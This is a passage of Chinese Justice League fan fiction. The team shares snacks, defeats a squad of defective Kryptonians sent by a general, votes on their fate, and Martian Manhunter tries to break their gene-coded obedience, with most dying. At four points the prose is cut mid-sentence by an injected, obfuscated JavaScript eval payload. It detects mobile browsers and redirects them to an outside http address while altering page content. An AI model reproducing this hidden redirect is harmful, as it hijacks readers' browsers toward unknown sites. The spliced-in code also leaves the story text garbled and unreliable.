在和罗宾或便士一讨论战术时,他们偶尔也会调侃几句,免得气氛太压抑,但话题从来不会偏离核心。而现在,他几乎要忘记这场对话的主旨是什么了。 火星猎人没说话,但他一直完美的表情管理几乎出现裂痕。 “战斗之前没必要太严肃嘛。”绿灯侠说,“难道我们在等待期间应该抓紧健身或读书?几分钟能改变什么?” “如果你想讲讲战斗计划,我们会认真听的。”戴安娜看向蝙蝠侠。 蝙蝠侠有些无奈地摇了摇头:“这次战斗中,我们不是一个人,务必留意与同伴的配合。除此之外,我现在没有更多可讲的。” 就算是他,也无法在如此有限的条件下推演出一套完美的作战计划。 他们对敌人的了解实在太少,而彼此之间的配合也仍在磨合中。 对现在的正义联盟而言,与其在战前制定详尽却可能很快失效的计划,不如在战斗中根据实际情况迅速应变。 超人理解地说:“这是我们第一次一起作战,大家的战斗风格和习惯都不一样。每个人都要发挥自己的优势,同时填补队友可能的空缺,这样才能形成真正的整体。” “但我们现在做什么?”绿灯侠无所事事地抬头看了看天,又低头看了看地,“就只是站在这里吗?” “其实……我可以先吃点东西。”巴莉灵机一动,从制服口袋里拿出一根特制能量棒,“提前储备能量,这算是备战吧。” “感觉更没有战斗气氛了。”亚瑟态度端正地评论道,但他的下一句话却是:“能给我尝一块吗?” “好啊。其他人也想试试吗?”巴莉环顾一圈,“这是最新改良版,椰子口味的。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258976|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的语气热情,像极了超市里的试吃推销员,就差来一句“本周限时特价、买二送一”。 蝙蝠侠本想拒绝,但他看见几位同伴已经围了过去,其中甚至包括火星猎人;而且,闪电侠充满期待的目光正落在他身上,像是在无声地催促:就差你了,快来快来。 他最终还是默默地走了过去,加入这场突如其来的野餐活动。 闪电侠把能量棒掰开,小心翼翼地分成几块,动作认真得仿佛在分配某种稀缺物资。她还很不好意思地说:“我带得不多,只能给你们尝尝味道。” “已经够了。”绿灯侠说着,飞快地把手里的那一块塞进嘴里。“比军队的罐头好吃。还有其它口味吗?” “还有香蕉和苹果口味,但这次没带。”巴莉掏了掏口袋,见还是椰子口味的,又塞了回去。 戴安娜仔细地品尝着,评价道:“口感不错,甜度控制得很好。椰子味挺自然,不像人工香精。” 火星猎人点了点头:“很好吃。未来会做奥利奥口味的吗?” “奥利奥口味?”巴莉一愣,“我试过巧克力味的,但有点太腻了。” 蝙蝠侠将自己的那一小块放入口中。椰子的清甜在舌尖化开,混合着其它配料的丰富风味,确实比市面上的普通能量棒好吃得多。 也比他的万能腰带里,特意为闪电侠准备的那一包能量棒更好吃。 “我就说第一次开会时少了点什么。”亚瑟一边嚼着,一边感慨,“原来是没准备吃的。下次我们每人都带点自己喜欢的吧。” “百乐餐的形式吗?好主意。”超人非常赞同,积极地开始报名,“我可以带苹果派。” “我带奥利奥饼干。”火星猎人接上。所有人都能感受到他对奥利奥发自内心的热爱。 “我带冰淇淋。”戴安娜说。 “巧克力熔岩蛋糕。”巴莉赶紧报了一个和冰淇淋十分搭配的。 “苹果酒甜甜圈。”亚瑟说。 “那我带马卡龙,”绿灯侠说,“我认识一家法式甜点店的老板,他可以把没卖完的打折给我。” 所有人一起看向蝙蝠侠,等着听他会带点什么。 “我会准备胰岛素。”蝙蝠侠面无表情地说,“以及黑咖啡和浓茶。” “哈哈哈。”众人都笑起来。 轻松的气氛间,超人忽然抬头。他的目光越过云层与星空,锁定了某个正在逼近的轨迹。 “他们进入大气层了。”他说,声音骤然沉稳,“正朝我们的方向来。” 下一瞬,所有人都进入战斗状态。 绿灯侠的灯戒亮起耀眼的绿光,在夜色中铺展开来,几乎成了这片山林里最醒目的存在。能量在他指间流转,勾勒出尚未成形的武器轮廓。 他忽然低声自言自语:“在地球上抓捕外星犯人,需要宣读米兰达警告吗?” 米兰达警告要求美国警察在逮捕嫌疑人时,告知对方享有保持沉默的权利,以及获得律师帮助的权利。 “虽然我们是在美国境内,但你是太空警察啊,又不是美国警察。”巴莉瞥了绿灯侠一眼,觉得这人总是冒出些有趣的想法。“太空警察也有类似规定吗?” “没有。”绿灯侠想了想,“培训里说必要时可以使用暴力——这么一想,绿灯军团对程序正义没什么教条规定,只要能问出有用的信息,方法不那么重要。” “那你会氪星语吗?”巴莉追问。 “灯戒可以替我翻译。”绿灯侠自信满满地说,指间的绿光配合地闪了一下,“宇宙中的语言它基本都能翻译。” “那请它帮我说一句:离地球远一点。”巴莉说完,觉得气势不够,迅速修改了一下,“不,还是说‘滚出我们的地球’吧。” 39.第 39 章 上一次大都会遭遇袭击时,巴莉忙着救人,没有与外星人正面相遇,只在新闻里见过那些外星人的影像。 坦白说,如果不是超人在采访中亲口说那些是氪星人,根本没有人会往那个方向联想。 看看超人那张伟大的脸吧——完美如雕像的五官,澄澈如天空的双眼,以及浓密的黑发——对了,他还有兼具力量与美感的身躯。 当超人站在阳光下、披风在风里扬起时,人类的审美奇迹般地达成了统一。也许有人不喜欢超人,有人怀疑他的动机,但没有人会说他丑。 卢瑟曾多次公开警告民众:一个外星人长得完全符合人类的审美,这本身就极其可疑。可换个角度想,这件事又有点微妙的好笑——即使是经常对着超人施展语言攻击的卢瑟,也不得不承认超人的美丽,顶多质疑那种美丽并不真实。 真正的美大概就是如此,连你的对手都必须承认。 感谢现代科技,无论身处地球的哪个角落,人们都能欣赏超人的高清影像,连他低垂眼睫时投下的细小阴影都看得清清楚楚。久而久之,人类几乎产生了一种集体认知:既然这位氪星遗孤如此出众,那么氪星人一定是个男俊女美、风姿卓绝的种族吧?或许比超人更美可能存在难度,但至少应当与超人美得不分伯仲。 然而,之前出现的氪星人完全是另外一种画风。崎岖不平、颜色斑驳的皮肤,像是熔化后又被粗暴捏合的五官,以及比例奇怪的躯干与四肢,无论从哪个角度看都与超人毫无关联。 超人自己也是这么想的。如果不是敌人亲口宣称身份,他绝不会将那群怪物与消亡的氪星联系在一起。 他曾在孤独堡垒——那是父母留给他的秘密基地,记录了氪星历史、文化和科技——看过许多影像记录。氪星人看起来是如此完美,因为他们早就停止了自然繁衍,通过基因编辑确保每一个新生儿都是最优秀的产物,无论外貌还是能力。 唯一的例外是超人,他是自然生育的产物。理论上讲,他是氪星人中唯一“不完美”的那个。 那些丑陋的氪星人,无论是自然繁衍还是基因编辑的结果,都说明某个环节出了问题。也许基因库被污染了,也许是关键技术失传了,也许是负责人的审美下降了。 总之,这一次,正义联盟面对的又是那样一群形貌丑陋的氪星人。 巴莉知道自己不应该对敌人的外表挑三拣四,但这些生物确实有点伤害她的眼睛。 值得庆幸的是,这些氪星人并不像超人那样强大,从两艘飞船上下来的十几个氪星人之间的战术配合也只是普通水平。 “你们真的是氪星生物吗?”亚瑟一边挥舞着三叉戟和一个氪星人战斗,一边大声用英语喊道,“长得和超人完全是两模两样。” 他并没指望得到回答,因为对方很可能听不懂英语。但与亚瑟交手的氪星人竟然用发音过于标准、以至于听起来有点僵硬的语调回答了他:“因为我们是劣等产品。超人是优等人种。” “这话听着太纳粹了。”绿灯侠大惊失色,立刻想起了读过的地摊文学。“难道希特勒真的没死,不但研究出了超级武器,还坐着飞船去了月球背面的基地,并把那套恶臭思想传播给了外星人?” “月球背面没有基地。”超人听见了绿灯侠的话,一边战斗一边回应,并且预判了绿灯侠接下来的话,又补充了一句,“月球内部也没有纳粹基地。” 尽管并不认为那个氪星人真的是被纳粹洗脑了,但超人也对“优等”、“劣等”的说法很在意。 上一次来袭的氪星人一心只想完成几乎自杀式的任务,介绍的信息极少。而这次的氪星人似乎不同,他们更健谈,也显露出更多的独立思维。超人立刻抓住机会,用氪星语问:“为什么会有所谓的优劣区别?” “因为你的父母偷走了生育宝典。”与超人对战的氪星人冷冷地说,“那里储存着全体氪星人的DNA信息。失去了那些资料,将军拥有的样本太单一了。” 超人隐约明白了。 在地球的历史中,甚至直到现代,总有一些王室自诩血统高贵,近亲通婚到反智的程度。前几代生下来的孩子还算正常,时间一久,遗传的缺陷便开始层层叠加,最终以各种令人不安的方式显现出来。 人类王室多少还会故意或偶然地引入一些外部血缘,而那个所谓的将军手里却只有极其有限的样本,在这样的封闭体系中强行延续一个种族,最终得到的结果也不令人意外了。 超人对“生育宝典”这个名字并不陌生,却从未听说过它是被“偷走”的。在他的认知里,自己是氪星最后的遗孤,当母星毁灭时,那些无人继承的遗产理所当然地落在了他身上。他从未刻意思考过归属这个问题,仿佛一切都是命运自动完成的交接。 现在想来,当父母为他准备孤独堡垒时,氪星虽然踏入末日,却尚未真正灭亡。文明还在运转,秩序尚未崩塌。如果对方没有说谎,那么生育宝典的所有权可能真的存在争议。 但即便如此,超人也绝不可能交出生育宝典,至少不是交给那位将军。 将军的行事方式太疯狂了,拉奥啊,如果对方得到生育宝典,接下来会发生什么几乎不需要想象——一个由基因与命令塑造、绝对忠诚的、完美的氪星人军团,将会在宇宙某个角落被“生产”出来。 那不是氪星复兴,而是另一种形式的灭亡。 “将军派你们来抓我?”超人猜到了对方的目的。他发现和自己战斗的似乎是一个领队角色,趁机对那人喊话:“替我告诉将军,别再做这种无谓的尝试了,他将会为对地球造成的伤害付出代价。” “你们在说什么?”戴安娜听不懂超人和敌人的对话,但看到超人的表情变得愤怒和严肃,有些担心。“超人,需要帮助吗?” 超人对戴安娜摆了摆手,继续用氪星语说:“同为最后的氪星人,我想直接与将军谈谈。” “将军现在无法见你。”氪星人领队冷淡地说。 “你们不是我们的对手,这种战斗是没有意义的。”超人说。 他说的没错。确认了敌人的实力水平之后,正义联盟七人很快将这次战斗视为实战演练。既然在这里不会伤及无辜,不必束手束脚,大家便开始尝试一些战术配合——闪电般的移动、交替牵制、互相掩护,每一次出手都带着实验性,但也在不断磨合彼此的默契。战场上的混乱被正义联盟轻轻牵引,形成一种奇特的节奏。 “我们的确不是对手,被派来就只有战死一个结局。”氪星人领队平静地说,完全将生死置之度外。 正义联盟已经将这些氪星人限制在一个区域内,此时纷纷引着自己的战斗对象朝超人靠拢,试图加入对话。 “超人,这些氪星人会说英语。”亚瑟提醒道。他已经迫不及待地想知道发生了什么。 “或者让绿灯侠做翻译。”蝙蝠侠说。 “这个人说他们是被一个将军派来抓我的。”超人简要地总结了之前的对话。 “这……是不是有点太不自量力了?”巴莉吃惊地脱口而出。 这些氪星人肯定能对地球人造成重大伤亡,但绑架超人可是另一个级别的难度。制定计划的人是否过于自信了? “我们必须执行命令。”氪星人领队再次开口,切换成了英语,“无论命令是什么。” 这一次,他语气中的情绪很明显:他认为自己的任务根本无法完成,却不得不去做。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269574|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “如果我们停战,放你们回去,会发生什么?”巴莉问。 这些氪星人虽然是敌人,但尚未对地球造成实际伤害,如果对方答应停手并不再回来,她想不出必须杀死或者囚禁对方的理由。 “我们会再次尝试完成任务,直到任务完成,或我们死去。”氪星人领队的声音冷硬。 “如果不继续任务呢?”戴安娜问,“你们找个地方去过自己的生活,只要别来打扰地球,我们不会去追杀的。” “不存在那种可能。执行命令是刻在我们基因里的内容。”氪星人领队斩钉截铁地说,其他几位氪星人纷纷点头。 “思想钢印吗?”蝙蝠侠看向火星猎人。 “不。这不是心灵层面的控制,而是更底层的生物代码。”火星猎人露出遗憾的表情。 他为这些氪星人感到难过,因为他们并非只知道盲从指令的棋子,而不知怎地拥有了一些自我意识。他们知道任务几乎无法完成,也并非一心求死,但那点反抗意识无法战胜底层程序。最终,他们只能带着那一丝不满执行命令,直到死去。 沉默在战场中央蔓延开来。 正义联盟七人都明白,如果只是被洗脑,也许还能反向干预;可现在,那些氪星人的每一个细胞都被规定好了轨迹,谁也无能为力。 “如果你们死在地球上,”像上一批氪星人那样……超人咽下这句话,“将军会再派人来吗?” “我没见过将军,但我想他会那么做的,直到他的目的被完成。”氪星人领队说。 绿灯侠忍不住插话:“可如果你们没有回去,他难道不会意识到这意味着失败?意味着你们的能力不足?那继续派人来,也只是送死啊。” 领队平静地说:“失败只意味着需要更多尝试。” 绿灯侠因为这个回答而暴躁起来:“将军在哪?我要去把那个犯罪头目抓起来。” “我不知道。”氪星人领队摇头,“那远远超出了我的信息权限。” “现在怎么办?”超人转头看向蝙蝠侠,“怎么处置他们?” 正义联盟的几个人都犹豫起来。那些氪星人竟然没有趁机攻击,沉默地站在原地,像是被按下了暂停键,等待命运的宣判。 “留着他们做陪练?”亚瑟提议,“他们打不死,还抗揍,简直是上天送给我们的馈赠啊。” “那不训练的时候呢?”戴安娜给了亚瑟一个白眼,“他们可是会追着超人到处跑。” “关起来,需要的时候放出来。”绿灯侠觉得这个问题太简单了。 “囚禁一群具有强大能力的、会持续尝试越狱去完成任务的人,你们考虑过难度吗?”蝙蝠侠问。 “而且这样做,我们和那个将军有什么区别?”巴莉质疑道,“虽然他们长得不像人类,但毕竟是智慧生命,不能完全当成工具对待吧。” “给他们发点工资,就当是给我们打工了。”亚瑟依旧不肯放弃,语气半开玩笑却又带着几分认真,“将军估计压根不会给他们发工资的。” 巴莉看向火星猎人:“对他们来说,工资这种概念有意义吗?” 火星猎人闭上眼睛,几乎是在一瞬间完成了心灵探查。他睁开眼,神情复杂:“没有。他的意识里只有一个终极目标,那就是抓走超人,至于过程中会造成多少附带伤亡,对他而言并不重要。” 绿灯侠皱起眉:“听起来相当邪恶。既然如此,把他们关起来也没什么问题吧?” 戴安娜说:“我们至少要给予他们应有的尊重。他们应该在战斗中像战士一样死去,而不是被关进笼子里。” “也许他们不想作为战士死去,而是更想活下去。”绿灯侠小声嘟囔道。 40.第 40 章 “我看不出他们有什么求生欲望。他们的任务完全是自杀式攻击。”亚瑟双手撑着三叉戟,很直白地说出自己的观察,“这就是精神空虚的表现,找个班上就好了。” “亚特兰蒂斯人什么时候学会了资本主义那一套?哦,不好意思,我说错了,你们可能还残存着奴隶制。”戴安娜微微挑眉。 巴莉看看戴安娜,又看看亚瑟,察觉到他们之间似乎有点私人恩怨。她悄悄后退几步,站到蝙蝠侠旁边。 就在这时,她发现在站得这么近的时候,两人的身高差让她不得不仰头看他,于是神速力一动,搬来一块石头踩在脚下,让自己与蝙蝠侠的视线平齐。 对于蝙蝠侠而言,他看不清巴莉的小动作,但意识到巴莉在一瞬间变得与他并肩站立。他不动声色地向下方瞥了一眼,顿觉哭笑不得。 巴莉这才开口:“我觉得这些氪星人有自己的想法,哪怕不太多,但绝不是只会遵守命令战斗到死的那种。” 蝙蝠侠说:“如果一个生命体被设计为武器,而且无法自主停止攻击行为,那在实际意义上,他就是武器。” “但他已经产生了‘质疑命令’的念头。”巴莉提醒道,“你看,他们现在就那么站在那里,像不像被分派了工作却磨磨蹭蹭不去完成的员工?” “那是自我意识,不是善恶意识。”蝙蝠侠说。 “在哥谭,这种人通常会被你送进阿卡姆疯人院,每年耗费的钱也不少。”巴莉说,“我还以为你会支持关押他们的想法。” 蝙蝠侠看见巴莉有点失望的眼神,耐心地解释道:“因为他们不是人类,即使有了自我意识,也不等于拥有人性。” 他的态度坚定:“在资源有限的情况下,我必须优先保护人类。你听到火星猎人说的了,我们根本无法改变他们的思想基础,将他们留在地球上就等于留下一个随时可能爆炸的炸弹。这和杀死已经投降的敌人是完全不同的情况。” 巴莉仍觉得自己陷入道德困境:“这些氪星人还没真的伤害人类。我们有权力提前处决他们吗?” “还没来得及伤害,但他们仍然是明显而即刻的危险。”蝙蝠侠语气平静地纠正她,“难道你宁愿等他们先杀掉一个人类,然后我们再去执行正义吗?” “那你的意思是……”绿灯侠凑过去,犹豫地说,“我们其实只有一个选择,就是直接杀了他们?” 蝙蝠侠反问道:“上一批氪星人的结局是什么?” 绿灯侠张了张嘴,却无话可说。那些氪星人都死于战斗之中,但在此之前,他们已经给大都会的城市与市民造成了巨大的伤害。面对这样的结局,没有人会为他们的死亡提出抗议。 “这一批和上一批有本质区别吗?他们只是还没来得及造成伤害,但并不代表他们不打算那么做。”蝙蝠侠继续说,“再说了,将军派来的下一批怎么办?再下一批呢?难道我们要一次又一次地接纳他们,直到把地球变成这些氪星人的移民地吗?” “呃,你的说法也太夸张了。”绿灯侠讷讷地说。 巴莉想说蝙蝠侠的话是典型的滑坡谬误,把一系列未经证明的因果关系连在一起,将“可能性”推演成“必然性”,最后得出一个听起来非常严重、却未必合理的结论。 但她不确定外星人制造这种炮灰杀手的成本是什么,万一像人类生产意大利面那么简单——考虑到氪星人对同类损耗的冷漠态度,生产成本不会很高——那正义联盟最终可能真的需要维持一个规模过于庞大的监狱体系。 超人纠结地在原地飘着,过了好一会儿,他才意识到队友们的声音已经逐渐消失,原本分散的小声讨论不知何时停了下来。所有人的目光都落在他身上。 他们在等他的最终决定。这倒不是因为超人是联盟主席,而是因为这些氪星人是冲着超人来的,他既是受害者,也是那些氪星人的同胞。 “我们投票吧。”超人提议道。 “投票的选项是什么?”蝙蝠侠立刻问,“不包括把他们直接放走吧?” “我没天真到那个程度。”超人苦笑了一下,“我不想无谓地杀死他们,但如果那是投票的结果,我也会接受。” “现在的选项是,A,杀死他们,B,永久关押?”戴安娜确认道。 “对。”超人点头。他的目光转向氪星人领队。 对方始终站在那里,静静听着他们的讨论,从头到尾。他的表情几乎没有任何变化,仿佛这场决定他和同伴生死的讨论并不真正与他有关。 超人深吸了一口气:“如果投票结果是选项B,我会负责关押和看管他们。” “你真的能做到吗?”戴安娜问,“只要一次疏忽,就可能给大都会带来灾难,甚至不止于此。” “我明白。”超人说,“我会时刻警惕的。” 戴安娜露出不完全信服的神色,但没有继续追问。 作为投票的发起者,超人却暂时没有说出自己的选择,而是望着其他人,等待他们的投票。 “A。”蝙蝠侠第一个开口。 “选项B就只是单纯的囚禁吗?”亚瑟问,“白白地养着他们?” “如果你是指把他们放出来,利用他们飞蛾扑火般地刺杀我的行为,把他们当成沙包来对待的话——”超人看了亚瑟一眼,“那不在选项B的范围内。” 亚瑟哼了一声:“那我投A。” “A。”戴安娜说,声音中没有迟疑。 绿灯侠犹豫了一下,最后说:“我也投A。” 已经有四个人投了选项A,结果其实已经出来了。但超人并未直接宣布结果,而是看向还没有投票的成员,坚持将正义联盟的第一次投票程序完完整整地走完。 火星猎人说:“我弃权。” 巴莉的手指不自觉地在身侧攥紧了:“我知道火星猎人已经说过了,这种深植在基因里的命令几乎无法动摇。但我们……能不能先试一试?” 她很清楚,投票的结果已经产生了,作为正义联盟的一员,她应该接受这个决议。但如果不再努力争取一次,她无法安心地做到这一点。 “改变基因中内置的命令,这几乎是不可能做到的。”她的声音因为紧张而有些干涩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282307|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但目光却没有躲闪,“可是在场的我们,难道不都是别人眼中‘不可能’的存在吗?” 然后,一个出乎所有人意料的声音响了起来:“我愿意试试。” 说话的是那名一直沉默的氪星人领队。 火星猎人叹了口气,语气温和地说:“这件事并不像按下一个按钮那么简单。这种命令不只是深植在你的神经结构里,还是你一切思想的基础。一旦尝试颠覆它,很可能会产生严重的逻辑冲突。” 他停顿了一下,斟酌着用词:“最坏的情况下,你的大脑会因此崩溃。你会死,而且死得很痛苦。” 听到这句话,氪星人领队第一次露出了明显的表情。那表情在他的脸上显得有些生硬,甚至有点扭曲——像是笑,又像是一种被压抑得太久、终于露出一角的悲伤。也许连他自己也不太确定那种情绪该用什么表情来表达。 “像现在这样活着,难道就不痛苦吗?”氪星人领队问。“即使我可以一直无知无觉地活下去……那种麻木,本身不就是一种折磨吗?” 火星猎人被对方内心传来的情绪震撼了。他看向自己的同伴们,红色的眼睛里带着犹豫——尽管受实验者已经表明了态度,但这毕竟是一场可能致命的实验。 蝙蝠侠没有说话,只是微微点了一下头。超人则伸手轻轻拍了拍火星猎人的肩膀。 “为了他,”超人说,“试一试吧。” 火星猎人又看向氪星人领队:“那我开始了。” “无论结果如何,谢谢你。”氪星人领队说,他的目光扫过正义联盟的其他人,“谢谢你们所有人。” 火星猎人轻轻地点了点头,然后闭上眼睛,这预示着他的尝试开始了。 巴莉紧张地看着氪星人领队,几乎忘记了要呼吸,连眨眼都不敢,仿佛只要稍微动一下,就会干扰到那场无形的、灵魂层面的交汇。 最初的几秒,一切看起来都很平静。然后—— 氪星人领队的身体突然僵住了。 他的眉头猛地皱紧,脸上的肌肉像是被什么力量狠狠拧在一起。那是一种无法伪装的、纯粹的痛苦。他的喉咙里挤出压抑的吼声,像是某种被困在体内的力量正在疯狂撕扯。 巴莉的心猛地一沉。 氪星人领队的身体突然安静下来。 “抱歉。”火星猎人睁开眼睛,“我没能成功。” 巴莉想说些什么,却完全失去了声音。尽管理性上她知道那并不是她的错,但她仍然控制不住地冒出一个令她刺痛的念头——是她的自以为是导致了氪星人领队的死亡。 她呆呆地站在那里,直到一只戴着黑色战术手套的手轻轻地搭在她的肩膀上。 蝙蝠侠的声音像是风暴中的灯塔,将巴莉带回现实世界:“你已经尽力了。你没有迫使任何人,也没有决定他的命运。那是他自己的选择。” “在生命的最后一刻,他获得了自由的希望。”戴安娜不知何时站在了巴莉旁边,“他作为勇士而死。” 巴莉点点头,不得不问出那个沉重的问题:“接下来……其他的人怎么办?” 41.第 41 章 在正义联盟七人开始新一轮的讨论之前,一个氪星人却先开口了:“我也想有一个尝试的机会。能帮帮我吗?” 巴莉惊讶地看向说话的那个氪星人。她原以为,即使有其他氪星人想尝试,在亲眼目睹了领队的遭遇之后也会有些动摇。但事实恰恰相反,其他的氪星人没有因此畏惧,反而坚定了决心。 又一个氪星人向前走了一步:“与其死在一场不属于我们意愿的战斗里,不如死在通往自由的路上。” “当然,如果能不死的话就更好了。我想去别的星系看看。”另一个氪星人说。 巴莉下意识地看向火星猎人,不知道他是否愿意继续做这件事。 在场的正义联盟成员多少都被刚才发生的事情震动了,但和真正深入氪星人领队的意识、亲自体验那一切的火星猎人相比,其他人的感受恐怕只是极其表层的一点余波。 当氪星人领队的意识在痛苦中走向终点时,火星猎人同步地感受到了整个过程。其他人只是“看到”了死亡,火星猎人则是真正地“触碰”到了生命终止的边界。 想到这里,巴莉对火星猎人感到非常愧疚。她只是提出了一个主意,但真正承受代价的人却不是她。 如果其他的氪星人也想做同样的尝试,那意味着火星猎人可能还要一次次经历同样的精神冲击。对火星猎人来说,那种痛苦是否过于沉重?她清楚,自己没有资格要求他继续那样做——任何人都没有资格。 “别担心,这对我来说不算什么。”火星猎人看了巴莉一眼,不知是看穿了她的想法还是听到了她的念头。他温和地说:“我很愿意帮助他们。” 另一边,蝙蝠侠和超人低声商量了几句。随后,超人和每位氪星人分别交谈,尝试问出更多关于那位将军的信息。可惜结果并不理想,那些氪星人都没亲眼见过将军本人,对将军身在何处也毫不知情,他们只知道将军需要超人的生育宝典去重建氪星种族。 与此同时,超人还问了每一个氪星人的名字,包括那位已经死去的氪星人领队的。那已经不再是对待敌人的态度,更像是在面对即将踏上未知道路的对手时给予的基本尊重。 但答案却让正义联盟的成员都沉默了。 这些氪星人没有名字。 他们只有编号,仅仅是为了方便区分身份,就好像他们不配拥有一个独属于自己的、被赋予了情感的名字。 接下来,氪星人排成一队,准备接受火星猎人的反洗脑尝试。他们已经做好了最坏的准备,脸上却一点恐惧都没有,反而带着第一次去参加春游般的跃跃欲试,充满了雀跃、期待和憧憬。 巴莉不知道他们的年龄。也许他们是被强行催熟的,毕竟如果一个人注定要被送去执行高危任务,那么花十几年慢慢养育似乎没什么必要。即使他们真的按部就班地经历了童年和成长,那段时间中大概也不会有什么新鲜有趣的事情。 此刻此地,他们做出了人生中最叛经离道的举动,这也是他们第一次掌握自己命运。 虽然没有宗教信仰,巴莉还是忍不住在心里默默祈祷:请让他们得偿所愿吧。无论他们的前半生是怎样度过的,至少在未来,他们不必再为了那个将军的目的而活,而是可以拥有属于自己的目标和生活。 火星猎人开始逐个帮助氪星人解除精神控制,但大多数尝试都以失败告终。 每当那些意识在挣扎中崩解、最终彻底熄灭时,空气中便会弥漫起短暂而沉重的静默。 氪星人没有因为同伴的死亡而流泪,他们只是默默地将同伴的尸体摆正,动作谨慎而庄重,然后静静地退到一旁,像是在等待,等待自己命运的审判。 巴莉看着一次又一次的死亡,也许没有第一次目睹时那样震撼,但遗憾和难过却始终不会减少。 最后,只有两个氪星人活了下来。火星猎人说他们的意识层面受到了损伤,需要时间来自我修复。在那之前,他们可能会感到思维迟缓、记忆混乱,甚至偶尔出现短暂的空白。 不过,至少他们还活着,而且第一次拥有了一个不再被预先写好的未来。 两个氪星人将同伴的尸体放在飞船上,正准备登上飞船离开时,绿灯侠忽然喊了一声:“等等!” 所有人一起看着绿灯侠在口袋里翻了半天,掏出几块形状奇特的金属片递了出去:“这是宇宙通用货币,在很多星系都能用。” 两个氪星人低头看了看那些货币,又抬头看了看绿灯侠,过了好几秒才说:“谢谢。” 绿灯侠摆了摆手,好像这只是件很普通的小事。 飞船很快升空,山林重归平静。 巴莉好奇地问绿灯侠:“你刚才给了他们多少钱?” “我上个月的工资。”绿灯侠随口说,“在一个普通星系的购买力,大概相当于……几万美元吧。” “那么多?”巴莉羡慕极了,然后又纳闷起来,“那你的手机怎么会欠费?” 绿灯侠瞬间变得有点愤怒:“因为那玩意在地球根本没法兑换流通,我回到家还是一贫如洗。” “啊?”巴莉震惊了,“那你的吃住怎么办?” “蹭别人的。”绿灯侠坦然地说,一点也没觉得这有什么问题,“我认识个有钱人。你知道星城首富奥利弗·奎恩么?” “听说过。”巴莉点点头,然后又一次问了那个问题,“可有他的资助,你的手机怎么还会欠费?” “因为我忘了这件事,他大概也没记起来。”绿灯侠耸耸肩。 巴莉眨了眨眼,还是忍不住追问:“可没有手机,你们怎么联系呢?” “我知道他平时常去哪里。”绿灯侠说。 巴莉一时间不知道该怎么评价这对好友,觉得那两人的相处方式真是奇妙。 这时,蝙蝠侠拍了拍手,将众人的注意力吸引过去,然后说:“今天的任务就到这里。但我想提醒你们,不要因为这次的战斗过于简单而产生轻敌情绪。” “放心吧。”戴安娜说。 “下次任务见。”超人对着同伴们点点头,飞走了。 见其他人陆续离开,巴莉也准备回家,却听见蝙蝠侠说:“闪电侠,等一下。” 她停住脚步,回头看向蝙蝠侠。此刻只剩下他们两人,月光从林间洒下,勾勒出蝙蝠侠那身黑色披风的轮廓。 蝙蝠侠问:“你还好吗?” 倒不是说他在所有人中唯独关心巴莉,也不是因为年龄而轻视她,而是他几乎可以肯定,队伍中只有她在成为超级英雄之后,还没有亲眼目睹过与任务直接相关的死亡。 虽然她曾亲眼见过母亲的死,平时作为法医也常与尸体打交道,但那都不是她介入造成的结果。今晚的一切,却直接触及了她选择成为超级英雄后必须面对的残酷现实——即便你拼尽全力去做一件好事,结果也未必完美。 巴莉没想到蝙蝠侠说的会是这个。她努力微笑了一下:“还行。” “想一起吃点东西吗?”蝙蝠侠问。 “去哪里?”巴莉疑惑地说。 出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294572|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎她的意料,蝙蝠侠从战术腰带里拿出一根能量棒,掰开之后将大块的那份递给巴莉:“巧克力味的。” “谢谢。”巴莉接过来,咬了一口,“我没事,真的。” 她越是强调,越显得在逞强。蝙蝠侠并没有指出这一点,只是安静地咬了一口手里的能量棒。 随后,他开始低声总结巴莉今晚在战斗中的优点与不足,最后说:“干得不错。” 巴莉被这突如其来的“蝙蝠侠小讲堂”弄得头晕脑胀,努力消化着其中的内容,然后发现蝙蝠侠早已经借着夜色消失了。 回到中心城时,已经是凌晨三点了。 巴莉推开门,发现客厅的电视开着,伊德瑞斯靠在沙发上睡着了,头微微歪着,一只手里握着手机。 